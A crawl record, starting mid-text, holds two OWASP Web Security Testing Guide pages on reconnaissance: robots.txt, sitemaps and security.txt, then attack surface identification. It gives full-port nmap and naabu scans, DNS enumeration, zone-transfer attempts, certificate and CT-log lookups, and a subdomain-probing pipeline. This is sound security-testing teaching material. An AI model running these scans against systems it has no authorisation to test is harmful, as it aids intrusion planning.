spiders/robots/crawlers](https://support.google.com/webmasters/answer/6062608?visit_id=637173940975499736-3548411022&rd=1).\n\nThe `Disallow` directive specifies which resources are prohibited by spiders/robots/crawlers. In the example above, the following are prohibited:\n\n```\n...\nDisallow: /search\n...\nDisallow: /sdch\n...\n```\n\nWeb spiders/robots/crawlers can [intentionally ignore](https://blog.isc2.org/isc2_blog/2008/07/the-attack-of-t.html) the `Disallow` directives specified in a `robots.txt` file. Hence, `robots.txt` should not be considered as a mechanism to enforce restrictions on how web content is accessed, stored, or republished by third parties.\n\nThe `robots.txt` file is retrieved from the web root directory of the web server. For example, to retrieve the `robots.txt` from `www.google.com` using `wget` or `curl`:\n\n```\n$ curl -O -Ss https://www.google.com/robots.txt && head -n5 robots.txt\nUser-agent: *\nDisallow: /search\nAllow: /search/about\nAllow: /search/static\nAllow: /search/howsearchworks\n...\n```\n\n#### AI Crawlers\n\nMany AI crawlers, used by AI companies to collect training data, have been observed ignoring `robots.txt` directives. Developers and site owners have explored countermeasures to protect their content; as described in [a 2025 TechCrunch article](https://techcrunch.com/2025/03/27/open-source-devs-are-fighting-ai-crawlers-with-cleverness-and-vengeance/), the open-source community has responded with tactics such as generating endless fake content to consume crawler resources, or serving misleading data to degrade the quality of AI training sets. The [Free Software Foundation](https://www.fsf.org/blogs/sysadmin/our-small-team-vs-millions-of-bots) has also documented the operational burden that large volumes of AI crawlers impose on small teams, highlighting how even well-intentioned `robots.txt` rules are routinely disregarded.\n\nFrom a testing perspective, `robots.txt` entries intended to block AI crawlers (e.g., `User-Agent: GPTBot`, `User-Agent: ClaudeBot`) may be ineffective and sensitive paths listed in `robots.txt` remain discoverable by any crawler that ignores the protocol.\n\n#### Analyze robots.txt Using Google Webmaster Tools\n\nSite owners can use the Google “Analyze robots.txt” function to analyze the site as part of its [Google Webmaster Tools](https://www.google.com/webmasters/tools). This tool can assist with testing and the procedure is as follows:\n\n1. Sign into Google Webmaster Tools with a Google account.\n2. On the dashboard, enter the URL for the site to be analyzed.\n3. Choose between the available methods and follow the on screen instruction.\n\n### META Tags\n\n`` tags are located within the `HEAD` section of each HTML document and should be consistent across a site in the event that the robot/spider/crawler start point does not begin from a document link other than webroot i.e. a [deep link](https://en.wikipedia.org/wiki/Deep_linking). The Robots directive can also be specified using a specific [META tag](https://developers.google.com/search/docs/crawling-indexing/robots-meta-tag).\n\n#### Robots META Tag\n\nIf there is no `` entry, then the “Robots Exclusion Protocol” defaults to `INDEX,FOLLOW` respectively. Therefore, the other two valid entries defined by the “Robots Exclusion Protocol” are prefixed with `NO...` i.e. `NOINDEX` and `NOFOLLOW`.\n\nBased on the Disallow directive(s) listed within the `robots.txt` file in webroot, a regular expression search for ` \n...\n \n...\n \n...\n```\n\n### Sitemaps\n\nA sitemap is a file where a developer or organization can provide information about the pages, videos, and other files offered by the site or application, and the relationship between them. Search engines can use this file to navigate your site more efficiently. Likewise, testers can utilize ‘sitemap.xml’ files to gain deeper insights into the site or application under investigation.\n\nThe following excerpt is from Google’s primary sitemap retrieved 2020 May 05.\n\n```\n$ wget --no-verbose https://www.google.com/sitemap.xml && head -n8 sitemap.xml\n2020-05-05 12:23:30 URL:https://www.google.com/sitemap.xml [2049] -> \"sitemap.xml\" [1]\n\n\n\n \n https://www.google.com/gmail/sitemap.xml\n \n \n https://www.google.com/forms/sitemaps.xml\n \n...\n```\n\nExploring from there a tester may wish to retrieve the gmail sitemap `https://www.google.com/gmail/sitemap.xml`:\n\n```\n https://www.google.com/intl/am/gmail/about/ \n...\n```\n\n### Security TXT\n\n[security.txt](https://securitytxt.org) was ratified by the IETF as [RFC 9116 - A File Format to Aid in Security Vulnerability Disclosure](https://www.rfc-editor.org/rfc/rfc9116.html) which allows sites to define security policies and contact details. There are multiple reasons why this might be of interest in testing scenarios, which include, but are not limited to:\n\n- Identifying further paths or resources to include in discovery/analysis.\n- Open Source intelligence gathering.\n- Finding information on Bug Bounties, etc.\n- Social Engineering.\n\nThe file may be present either in the root of the webserver or in the `.well-known/` directory, for example:\n\n- `https://example.com/security.txt`\n- `https://example.com/.well-known/security.txt`\n\nHere is a real world example retrieved from LinkedIn 2020 May 05:\n\n```\n$ wget --no-verbose https://www.linkedin.com/.well-known/security.txt && cat security.txt\n2020-05-07 12:56:51 URL:https://www.linkedin.com/.well-known/security.txt [333/333] -> \"security.txt\" [1]\n# Conforms to IETF `draft-foudil-securitytxt-07`\nContact: mailto:security@linkedin.com\nContact: https://www.linkedin.com/help/linkedin/answer/62924\nEncryption: https://www.linkedin.com/help/linkedin/answer/79676\nCanonical: https://www.linkedin.com/.well-known/security.txt\nPolicy: https://www.linkedin.com/help/linkedin/answer/62924\n```\n\nOpenPGP Public Keys contain some metadata that can provide information about the key itself. Here are some common metadata elements that can be extracted from an OpenPGP Public Key:\n\n- **Key ID** : The Key ID is a short identifier derived from the public key material. It helps identify the key and is often displayed as an eight-character hexadecimal value.\n- **Key Fingerprint** : The Key Fingerprint is a longer and more unique identifier derived from the key material. It is often displayed as a 40-character hexadecimal value. Key fingerprints are commonly used to verify the integrity and authenticity of a public key.\n- **Key Algorithm** : The Key Algorithm represents the cryptographic algorithm used by the public key. OpenPGP supports various algorithms such as RSA, DSA, and ECC (Elliptic Curve Cryptography).\n- **Key Size** : The Key Size refers to the length or size of the cryptographic key in bits. It indicates the strength of the key and determines the level of security provided by the key.\n- **Key Creation Date** : The Key Creation Date indicates when the key was generated or created.\n- **Key Expiration Date** : OpenPGP Public Keys can have an expiration date set, after which they are considered invalid. The Key Expiration Date specifies when the key is no longer valid.\n- **User IDs** : Public keys can have one or more associated User IDs that identify the owner or entity associated with the key. User IDs typically include information such as the name, email address, and optional comments of the key owner.\n\n### Humans TXT\n\n`humans.txt` is an initiative for knowing the people behind a site. It takes the form of a text file that contains information about the different people who have contributed to building the site. This file often (but not always) contains information related to career or job sites/paths.\n\nThe following example was retrieved from Google 2020 May 05:\n\n```\n$ wget --no-verbose https://www.google.com/humans.txt && cat humans.txt\n2020-05-07 12:57:52 URL:https://www.google.com/humans.txt [286/286] -> \"humans.txt\" [1]\nGoogle is built by a large team of engineers, designers, researchers, robots, and others in many different sites across the globe. It is updated continuously, and built with more tools and technologies than we can shake a stick at. If you'd like to help us out, see careers.google.com.\n```\n\n### Other .well-known Information Sources\n\nThere are other RFCs and internet drafts which suggest standardized uses of files within the `.well-known/` directory. Lists of these can be found [here on WikiPedia](https://en.wikipedia.org/wiki/List_of_/.well-known/_services_offered_by_webservers) or [here via IANA](https://www.iana.org/assignments/well-known-uris/well-known-uris.xhtml).\n\nIt would be fairly simple for a tester to review the RFC/drafts and create a list to be supplied to a crawler or fuzzer, in order to verify the existence or content of such files.\n\n## Tools\n\n- Browser (View Source or Dev Tools functionality)\n- curl\n- wget\n- Burp Suite\n- ZAP\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 14177, "slov": 1796, "odkazu": 215, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:51:52", "sha256": "0cd2d3865477d90beff6645b18653de8ea7a403b45aa219e43d4c6334a525aef", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://en.wikipedia.org/wiki/Google_hacking", "https://datatracker.ietf.org/doc/html/rfc9309", "https://www.google.com/robots.txt", "https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/User-Agent", "https://support.google.com/webmasters/answer/6062608?rd=1&visit_id=637173940975499736-3548411022", "https://blog.isc2.org/isc2_blog/2008/07/the-attack-of-t.html", "https://techcrunch.com/2025/03/27/open-source-devs-are-fighting-ai-crawlers-with-cleverness-and-vengeance/", "https://www.fsf.org/blogs/sysadmin/our-small-team-vs-millions-of-bots", "https://www.google.com/webmasters/tools", "https://en.wikipedia.org/wiki/Deep_linking", "https://developers.google.com/search/docs/crawling-indexing/robots-meta-tag", "https://securitytxt.org/", "https://www.rfc-editor.org/rfc/rfc9116.html", "https://en.wikipedia.org/wiki/List_of_/.well-known/_services_offered_by_webservers", "https://www.iana.org/assignments/well-known-uris/well-known-uris.xhtml", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/01-Information_Gathering/04-Attack_Surface_Identification", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/01-Information_Gathering/04-Attack_Surface_Identification", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/01-Information_Gathering/04-Attack_Surface_Identification", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "01-Information Gathering"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "Attack Surface Identification"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Approaches to Address Issue 1 - Non-standard URLs"}, {"uroven": 3, "text": "Approaches to Address Issue 2 - Non-standard Ports"}, {"uroven": 3, "text": "Approaches to Address Issue 3 - Virtual Hosts"}, {"uroven": 4, "text": "DNS Enumeration"}, {"uroven": 4, "text": "Passive DNS Enumeration"}, {"uroven": 4, "text": "Active DNS Enumeration"}, {"uroven": 4, "text": "Subdomain Permutation"}, {"uroven": 4, "text": "DNS Zone Transfers"}, {"uroven": 4, "text": "DNS Inverse Queries"}, {"uroven": 4, "text": "Web-based DNS Searches"}, {"uroven": 4, "text": "Reverse-IP Services"}, {"uroven": 4, "text": "Googling"}, {"uroven": 4, "text": "Digital Certificates"}, {"uroven": 4, "text": "Certificate Transparency Logs"}, {"uroven": 3, "text": "Example Modern Passive-to-Active Workflow"}, {"uroven": 2, "text": "Tools"}], "markdown": "# WSTG - Latest\n\n# Attack Surface Identification\n\n| ID |\n| --- |\n| WSTG-INFO-04 |\n\n## Summary\n\nIdentifying the attack surface of a web application involves discovering all applications, domains, virtual hosts, and externally exposed services associated with the target infrastructure. This process extends beyond identifying hosted applications and includes DNS enumeration, subdomain discovery, virtual host analysis, non-standard ports, and the review of digital certificates and Certificate Transparency logs.\n\nWith the proliferation of virtual hosting and shared infrastructure, the traditional 1:1 relationship between an IP address and a web server has largely disappeared. A single IP address may host multiple applications across different domains, environments, or administrative interfaces. Failing to identify these assets can result in incomplete assessments and overlooked vulnerabilities.\n\nSecurity professionals are sometimes given a set of IP addresses as a target to test. It is arguable that this scenario is more akin to a penetration test-type engagement, but in any case it is expected that such an assignment would test all web applications accessible through this target. The problem is that the given IP address hosts an HTTP service on port 80, but if a tester should access it by specifying the IP address (which is all they know) it reports “No web server configured at this address” or a similar message. But that system could “hide” a number of web applications, associated to unrelated symbolic (DNS) names. Obviously, the extent of the analysis is deeply affected depending on whether the tester tests all the applications or only tests the applications that they are aware of.\n\nSometimes, the target specification is richer. The tester may be given a list of IP addresses and their corresponding symbolic names. Nevertheless, this list might convey partial information, i.e., it could omit some symbolic names and the client may not even be aware of that (this is more likely to happen in large organizations).\n\nOther issues affecting the scope of the assessment are represented by web applications published at non-obvious URLs (e.g., `https://www.example.com/some-strange-URL`), which are not referenced elsewhere. This may happen either by error (due to misconfigurations), or intentionally (for example, unadvertised administrative interfaces).\n\nTo address these issues, a comprehensive attack surface identification process must be performed.\n\n## Test Objectives\n\n- Enumerate all web applications within scope.\n- Identify DNS names, domains, and virtual hosts associated with the target.\n- Discover additional domains and subdomains using passive and active DNS techniques.\n- Analyze digital certificates and Certificate Transparency logs for additional hostnames.\n\n## How to Test\n\nWeb application discovery is a process that aims to identify web applications on a given infrastructure. The latter is usually specified as a set of IP addresses (maybe a net block), but may consist of a set of DNS symbolic names or a mix of the two. This information is handed out prior to the execution of an assessment, be it a classic-style penetration test or an application-focused assessment. In both cases, unless the rules of engagement specify otherwise (e.g., test only the application located at the URL `https://www.example.com/`), the assessment should strive to be the most comprehensive in scope, i.e. it should identify all the applications accessible through the given target. The following examples examine a few techniques that can be employed to achieve this goal.\n\n> Some of the following techniques apply to Internet-facing web servers, namely DNS and reverse-IP web-based search services and the use of search engines. Examples make use of private IP addresses (such as `192.168.1.100`), which, unless indicated otherwise, represent *generic* IP addresses and are used only for anonymity purposes.\n\nThere are three factors influencing how many applications are related to a given DNS name (or an IP address):\n\n1. **Different Base URL** The obvious entry point for a web application is `www.example.com`, i.e., with this shorthand notation we think of the web application originating at `https://www.example.com/` (the same applies for HTTPS). However, even though this is the most common situation, there is nothing forcing the application to start at `/`. For example, the same symbolic name may be associated to three web applications such as: `https://www.example.com/app1` `https://www.example.com/app2` `https://www.example.com/app3` In this case, the URL `https://www.example.com/` would not be associated with a meaningful page. The three applications would remain **hidden** unless the tester explicitly knows how to access them, i.e., the tester knows *app1*, *app2* or *app3*. There is usually no need to publish web applications in this way, unless the owner doesn’t want them to be accessible in a standard way, and is prepared to inform the users about their exact location. This doesn’t mean that these applications are secret, just that their existence and location is not explicitly advertised.\n2. **Non-standard Ports** While web applications usually live on port 80 (HTTP) and 443 (HTTPS), there is nothing fixed or mandatory about these port numbers. In fact, web applications may be associated with arbitrary TCP ports, and can be referenced by specifying the port number as follows: `http[s]://www.example.com:port/`. For example, `https://www.example.com:20000/`.\n3. **Virtual Hosts** DNS allows a single IP address to be associated with one or more symbolic names. For example, the IP address `192.168.1.100` might be associated to DNS names `www.example.com`, `helpdesk.example.com`, `webmail.example.com`. It is not necessary that all the names belong to the same DNS domain. This 1-to-N relationship may be reflected to serve different content by using so called virtual hosts. The information specifying the virtual host we are referring to is embedded in the HTTP 1.1 [Host header](https://datatracker.ietf.org/doc/html/rfc7230#section-5.4). One would not suspect the existence of other web applications in addition to the obvious `www.example.com`, unless they know of `helpdesk.example.com` and `webmail.example.com`.\n\n### Approaches to Address Issue 1 - Non-standard URLs\n\nThere is no way to fully ascertain the existence of non-standard-named web applications. Being non-standard, there are no fixed criteria governing the naming convention, however there are a number of techniques that the tester can use to gain some additional insight.\n\nFirst, if the web server is mis-configured and allows directory browsing, it may be possible to spot these applications. Vulnerability scanners may help in this respect.\n\nSecond, these applications may be referenced by other web pages and there is a chance that they have been spidered and indexed by web search engines. If testers suspect the existence of such **hidden** applications on `www.example.com` they could search using the *site* operator and examining the result of a query for `site: www.example.com`. Among the returned URLs there could be one pointing to such a non-obvious application.\n\nAnother option is to probe for URLs which might be likely candidates for non-published applications. For example, a web mail frontend might be accessible from URLs such as `https://www.example.com/webmail`, `https://webmail.example.com/`, or `https://mail.example.com/`. The same holds for administrative interfaces, which may be published at hidden URLs (for example, a Tomcat administrative interface), and yet not referenced anywhere. So doing a bit of dictionary-style searching (or “intelligent guessing”) could yield some results. Vulnerability scanners may help in this respect.\n\n### Approaches to Address Issue 2 - Non-standard Ports\n\nIt is easy to check for the existence of web applications on non-standard ports. A port scanner such as Nmap is capable of performing service recognition by means of the `-sV` option, and will identify http[s] services on arbitrary ports. What is required is a full scan of the whole 64k TCP port address space.\n\nFor example, the following command will look up, with a TCP connect scan, all the open ports on IP `192.168.1.100` and will try to determine what services are bound to them (only *essential* switches are shown – Nmap features a broad set of options, whose discussion is out of scope):\n\n`nmap –Pn –sT –sV –p0-65535 192.168.1.100`\n\nIt is sufficient to examine the output and look for HTTP or the indication of TLS-wrapped services (which should be probed to confirm that they are HTTPS). For example, the output of the previous command could look like:\n\n```\nInteresting ports on 192.168.1.100:\n(The 65527 ports scanned but not shown below are in state: closed)\nPORT STATE SERVICE VERSION\n22/tcp open ssh OpenSSH 3.5p1 (protocol 1.99)\n80/tcp open http Apache httpd 2.0.40 ((Red Hat Linux))\n443/tcp open ssl OpenSSL\n901/tcp open http Samba SWAT administration server\n1241/tcp open ssl Nessus security scanner\n3690/tcp open unknown\n8000/tcp open http-alt?\n8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1\n```\n\nFrom this example, one can see that:\n\n- There is an Apache HTTP server running on port 80.\n- It looks like there is an HTTPS server on port 443 (but this needs to be confirmed, for example, by visiting `https://192.168.1.100` with a browser).\n- On port 901 there is a Samba SWAT web interface.\n- The service on port 1241 is not HTTPS, but is the TLS-wrapped Nessus daemon.\n- Port 3690 features an unspecified service (Nmap gives back its *fingerprint* - here omitted for clarity - together with instructions to submit it for incorporation in the Nmap fingerprint database, provided you know which service it represents).\n- Another unspecified service on port 8000; this might possibly be HTTP, since it is not uncommon to find HTTP servers on this port. Let’s examine this issue:\n\n```\n$ telnet 192.168.10.100 8000\nTrying 192.168.1.100...\nConnected to 192.168.1.100.\nEscape character is '^]'.\nGET / HTTP/1.0\n\nHTTP/1.0 200 OK\npragma: no-cache\nContent-Type: text/html\nServer: MX4J-HTTPD/1.0\nexpires: now\nCache-Control: no-cache\n\n\n...\n```\n\nThis confirms that in fact it is an HTTP server. Alternatively, testers could have visited the URL with a web browser; or used the GET or HEAD Perl commands, which mimic HTTP interactions such as the one given above (however HEAD requests may not be honored by all servers).\n\n- Apache Tomcat running on port 8080.\n\nThe same task may be performed by vulnerability scanners, but first check that the scanner of choice is able to identify HTTP[S] services running on non-standard ports. For example, Nessus is capable of identifying them on arbitrary ports (provided it is instructed to scan all the ports), and will provide, with respect to Nmap, a number of tests on known web server vulnerabilities, as well as on the TLS/SSL configuration of HTTPS services. As hinted before, Nessus is also able to spot popular applications or web interfaces which could otherwise go unnoticed (for example, a Tomcat administrative interface).\n\nA full 65535-port Nmap scan with service detection can be slow across many hosts. [naabu](https://github.com/projectdiscovery/naabu) is a fast port scanner that can be used to quickly identify open ports across a large host list, and can pipe its results straight into Nmap for service detection on just the open ports it found:\n\n```\nnaabu -p - -rate 2000 -c 50 -retries 2 -warm-up-time 1 -silent -host 192.168.1.100 -nmap-cli 'nmap -sV -oX scan.xml' \n```\n\nThis combination scans all ports with naabu first, then only runs the slower Nmap service-detection scan against the ports naabu found open, considerably reducing total scan time.\n\n### Approaches to Address Issue 3 - Virtual Hosts\n\nThere are a number of techniques which may be used to identify DNS names associated to a given IP address `x.y.z.t`.\n\n#### DNS Enumeration\n\nDNS enumeration aims to identify domains, subdomains, and related DNS records associated with the target organization to expand the assessment scope. DNS enumeration plays a key role in identifying additional virtual hosts mapped to the same IP address. This may reveal development systems, staging environments, legacy services, or administrative interfaces.\n\nBoth passive and active techniques can be used.\n\n#### Passive DNS Enumeration\n\nPassive techniques do not directly interact with the target infrastructure and instead rely on publicly available data sources. Examples include:\n\n- Public DNS records (A, AAAA, MX, TXT, NS)\n- Reverse DNS lookups (PTR records)\n- Search engines\n- Passive DNS databases\n- Certificate Transparency logs\n\nPassive techniques are preferred during early reconnaissance phases to avoid detection.\n\n[Chaos](https://chaos.projectdiscovery.io/) and its [chaos-client](https://github.com/projectdiscovery/chaos-client) provide access to a curated dataset of subdomains that ProjectDiscovery has already crawled, primarily sourced from public bug bounty program scopes. It can be a useful, fast supplement to passive DNS enumeration for domains it has already indexed, but it requires an API key, only covers domains within its dataset, and should not be relied on as a substitute for active tools such as `subfinder` or `amass` against arbitrary engagement targets.\n\n#### Active DNS Enumeration\n\nActive techniques directly query the target’s DNS infrastructure and may generate logs on the target systems. These include:\n\n- Subdomain brute forcing\n- DNS zone transfer attempts\n- DNS record enumeration using tools\n\nCommon tools used for DNS enumeration include:\n\n- `amass`\n- `subfinder`\n- `dnsrecon`\n- `fierce`\n- `dig`\n- `nslookup`\n\nExample using `dig`:\n\n```\ndig example.com ANY\n```\n\n```\n; <<>> DiG 9.10.6 <<>> example.com ANY\n;; QUESTION SECTION:\n;example.com. IN ANY\n\n;; ANSWER SECTION:\nexample.com. 86400 IN A 93.184.216.34\nexample.com. 86400 IN MX 10 mail.example.com.\nexample.com. 86400 IN NS ns1.secure.net.\nexample.com. 86400 IN NS ns2.secure.net.\nexample.com. 86400 IN TXT \"v=spf1 -all\"\n```\n\nExample using `subfinder`:\n\n```\nsubfinder -d example.com -silent \n```\n\n```\nwww.example.com\ndev.example.com\nstaging.example.com\nmail.example.com\napi.example.com\n```\n\n#### Subdomain Permutation\n\nAfter an initial set of subdomains has been collected, permutation (or alteration) techniques can generate additional candidates by combining known labels with common prefixes/suffixes or by applying mutations (e.g. `dev-` → `staging-`, inserting numbers, etc.). Tools such as [altdns](https://github.com/infosec-au/altdns), [dnsgen](https://github.com/ProjectAnte/dnsgen), or [gotator](https://github.com/Josue87/gotator) are commonly used for this purpose. Generated candidates should then be resolved (`dnsx` / [MassDNS](https://github.com/blechschmidt/massdns)) and probed (`httpx`).\n\nMassDNS is a high-speed DNS resolver, useful for quickly resolving the large candidate lists produced by permutation tools or wordlist-based brute forcing.\n\n#### DNS Zone Transfers\n\nThis technique has limited use nowadays, given the fact that zone transfers are largely not honored by DNS servers. However, it could still be worth attempting. First of all, testers must determine the name servers serving `x.y.z.t`. If a symbolic name is known for `x.y.z.t` (let it be `www.example.com`), its name servers can be determined by means of tools such as `nslookup`, `host`, or `dig`, by requesting DNS NS records.\n\nIf no symbolic names are known for `x.y.z.t`, but the target definition contains at least a symbolic name, testers may try to apply the same process and query the name server of that name (hoping that `x.y.z.t` will be served as well by that name server). For example, if the target consists of the IP address `x.y.z.t` and the name `mail.example.com`, determine the name servers for domain `example.com`.\n\nThe following example shows how to identify the name servers for `www.owasp.org` by using the `host` command:\n\n```\n$ host -t ns www.owasp.org\nwww.owasp.org is an alias for owasp.org.\nowasp.org name server ns1.secure.net.\nowasp.org name server ns2.secure.net.\n```\n\nA zone transfer can now be requested to the name servers for the domain `example.com`. If the tester is fortunate, they may receive a list of the DNS entries for this domain in response. This will include the obvious `www.example.com` and the not-so-obvious `helpdesk.example.com` and `webmail.example.com` (and possibly others). Check all the names returned by the zone transfer and consider all of those which are related to the target being evaluated.\n\nTrying to request a zone transfer for `owasp.org` from one of its name servers:\n\n```\n$ host -l www.owasp.org ns1.secure.net\nUsing domain server:\nName: ns1.secure.net\nAddress: 192.220.124.10#53\nAliases:\n\nHost www.owasp.org not found: 5(REFUSED) ; Transfer failed.\n```\n\n#### DNS Inverse Queries\n\nThis process is similar to the previous one, but relies on inverse (PTR) DNS records. Rather than requesting a zone transfer, try setting the record type to PTR and issue a query on the given IP address. If the testers are fortunate, they may receive a DNS name entry in response. This technique relies on the existence of IP-to-symbolic name maps, which is not guaranteed.\n\n#### Web-based DNS Searches\n\nThis kind of search is akin to DNS zone transfer, but relies on web-based services that enable name-based searches on DNS. One such service is the [Netcraft Search DNS](https://searchdns.netcraft.com/?host) service. The tester may query for a list of names belonging to your domain of choice, such as `example.com`. They will then check whether the names they obtained are pertinent to the target they are examining.\n\n#### Reverse-IP Services\n\nReverse-IP services are similar to DNS inverse queries, with the difference that the testers query a web-based application instead of a name server. There are a number of such services available. Since they tend to return partial (and often different) results, it is better to use multiple services to obtain a more comprehensive analysis.\n\n- [MxToolbox Reverse IP](https://mxtoolbox.com/ReverseLookup.aspx)\n- [DNSstuff](https://www.dnsstuff.com/) (multiple services available)\n- [Net Square](https://web.archive.org/web/20190515092354/https://www.net-square.com/mspawn.html) (multiple queries on domains and IP addresses, requires installation)\n\nInternet asset search engines such as [Shodan](https://www.shodan.io/), [Censys](https://censys.io), and [FOFA](https://fofa.info) index internet-connected hosts and services and can also be searched by IP, certificate, or banner content to reveal other hostnames and services hosted on the same address. FOFA in particular has extensive coverage of infrastructure in China and Asia-Pacific, which can complement the coverage of Shodan and Censys. For example, an IP-based FOFA search: `ip=\"192.168.1.100\"`, or a search for a specific title or header: `title=\"Example App\"`. As with the other reverse-IP services above, a free tier with limited queries is available, with paid plans for more comprehensive access.\n\n#### Googling\n\nFollowing information gathering from the previous techniques, testers can rely on search engines to possibly refine and increment their analysis. This may yield evidence of additional symbolic names belonging to the target, or applications accessible via non-obvious URLs.\n\nFor instance, considering the previous example regarding `www.owasp.org`, the tester could query Google and other search engines looking for information (hence, DNS names) related to the newly discovered domains of `webgoat.org`, `webscarab.com`, and `webscarab.net`.\n\nGoogling techniques are explained in [Testing: Spiders, Robots, and Crawlers](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/01-Information_Gathering/01-Conduct_Search_Engine_Reconnaissance_for_Information_Leakage).\n\n#### Digital Certificates\n\nIf the server accepts connections over HTTPS, then the Common Name (CN) and Subject Alternate Name (SAN) on the certificate may contain one or more hostnames. However, if the webserver does not have a trusted certificate, or wildcards are in use, this may not return any valid information.\n\nThe CN and SAN can be obtained by manually inspecting the certificate, or through other tools such as OpenSSL:\n\n```\nopenssl s_client -connect 93.184.216.34:443 /dev/null | openssl x509 -noout -text | grep -E 'DNS:|Subject:'\n\nSubject: C = US, ST = California, L = Los Angeles, O = Internet Corporation for Assigned Names and Numbers, CN = www.example.org\nDNS:www.example.org, DNS:example.com, DNS:example.edu, DNS:example.net, DNS:example.org, DNS:www.example.com, DNS:www.example.edu, DNS:www.example.net\n```\n\n#### Certificate Transparency Logs\n\nCertificate Transparency (CT) logs are publicly accessible records of issued TLS certificates. These logs can be searched to identify hostnames and subdomains associated with a target organization, including staging systems, administrative interfaces, legacy systems, or other externally reachable services.\n\nReviewing CT logs may reveal hostnames that are not directly discoverable through DNS zone transfers, reverse lookups, or search engine queries alone. Testers should extract discovered hostnames and validate them through DNS resolution to determine whether they are active and within the defined scope of the assessment.\n\nWhen reviewing CT log data, consider:\n\n- Hostnames indicating development, staging, or testing environments.\n- Administrative or management interfaces.\n- Deprecated or legacy systems that may still be accessible.\n- Wildcard certificates that may imply additional undiscovered subdomains.\n\nInformation gathered from CT logs should be validated to confirm ownership and relevance before further testing.\n\nCare must be taken to respect scope limitations defined in the engagement.\n\nDiscovered assets should be validated and documented before further testing activities.\n\nOne common approach to querying CT logs is to use publicly available search portals that aggregate certificate data. For example, a tester may search for certificates issued to `example.com` and review the listed subdomains.\n\nFor instance: `https://crt.sh/?q=%25.example.com`\n\n> Note: [crt.sh](https://crt.sh) has occasional periods of downtime or high latency. [Merklemap](https://www.merklemap.com/) and [SSLMate’s Cert Spotter](https://sslmate.com/certspotter/) are alternative Certificate Transparency search services worth having as a fallback.\n\n*Figure 4.1.4-1: Example of Certificate Transparency log search results.*\n\nThe results may list subdomains such as `dev.example.com`, `staging.example.com`, or other hostnames that are not directly referenced from the primary site. Discovered hostnames should be validated through DNS resolution before further testing.\n\n### Example Modern Passive-to-Active Workflow\n\nA common lightweight pipeline used in contemporary assessments:\n\n```\n# Passive subdomain discovery\nsubfinder -d example.com -silent | tee subs.txt\namass enum -passive -d example.com -o amass.txt\n\n# Resolve and probe live hosts cat subs.txt amass.txt | sort -u | dnsx -silent | httpx -silent -title -tech-detect -status-code -o live.txt\n\n# Historical URLs (feed interesting hosts later) cat live.txt | unfurl domains | sort -u | gau --subs | tee archive-urls.txt\n\n# Screenshot live hosts for visual triage of a large host list\ngowitness scan file -f live.txt\n```\n\nWith a large number of discovered hosts, screenshotting each one provides a quick way to visually triage results, for example spotting login pages, admin panels, default install pages, or error pages without visiting every host manually. [gowitness](https://github.com/sensepost/gowitness) is a current, actively maintained tool for this; `httpx` also supports a built-in `-screenshot` flag for the same purpose without adding another tool to the chain.\n\nAlways respect scope, rate limits, and engagement rules of engagement. Validate ownership of newly discovered assets before deeper testing.\n\n## Tools\n\n- DNS lookup tools such as `nslookup` , `dig` , and `host`\n- Subdomain enumeration and attack-surface mapping tools:\n - [Amass](https://github.com/owasp-amass/amass) (OWASP project – passive + active, graph output)\n - [subfinder](https://github.com/projectdiscovery/subfinder)\n - [Chaos](https://chaos.projectdiscovery.io/) / [chaos-client](https://github.com/projectdiscovery/chaos-client) (curated subdomain dataset, API key required)\n - [dnsx](https://github.com/projectdiscovery/dnsx)\n - [httpx](https://github.com/projectdiscovery/httpx) (live host probing, tech detection, titles)\n - [gowitness](https://github.com/sensepost/gowitness) (screenshotting for visual triage of live hosts)\n - `dnsrecon` , `fierce`\n- Subdomain permutation: [altdns](https://github.com/infosec-au/altdns) , [dnsgen](https://github.com/ProjectAnte/dnsgen) , [gotator](https://github.com/Josue87/gotator)\n- [MassDNS](https://github.com/blechschmidt/massdns) (high-speed resolver for wordlist / permutation output)\n- Search engines (Google, Bing, and other major search engines)\n- Reverse IP lookup services\n- Internet asset search engines: [Shodan](https://www.shodan.io/) , [Censys](https://censys.io) , [FOFA](https://fofa.info)\n- Certificate Transparency search portals: [crt.sh](https://crt.sh) , [Merklemap](https://www.merklemap.com/) , [SSLMate’s Cert Spotter](https://sslmate.com/certspotter/)\n- Archive / historical URL collectors: [gau](https://github.com/lc/gau) , [waybackurls](https://github.com/tomnomnom/waybackurls) , [waymore](https://github.com/xnl-h4ck3r/waymore)\n- [Nmap](https://nmap.org/)\n- [naabu](https://github.com/projectdiscovery/naabu) (fast port scanning, can pipe results into Nmap)\n- [Nessus Vulnerability Scanner](https://www.tenable.com/products/nessus)\n- [Nikto](https://github.com/sullo/nikto)\n- Content / virtual-host 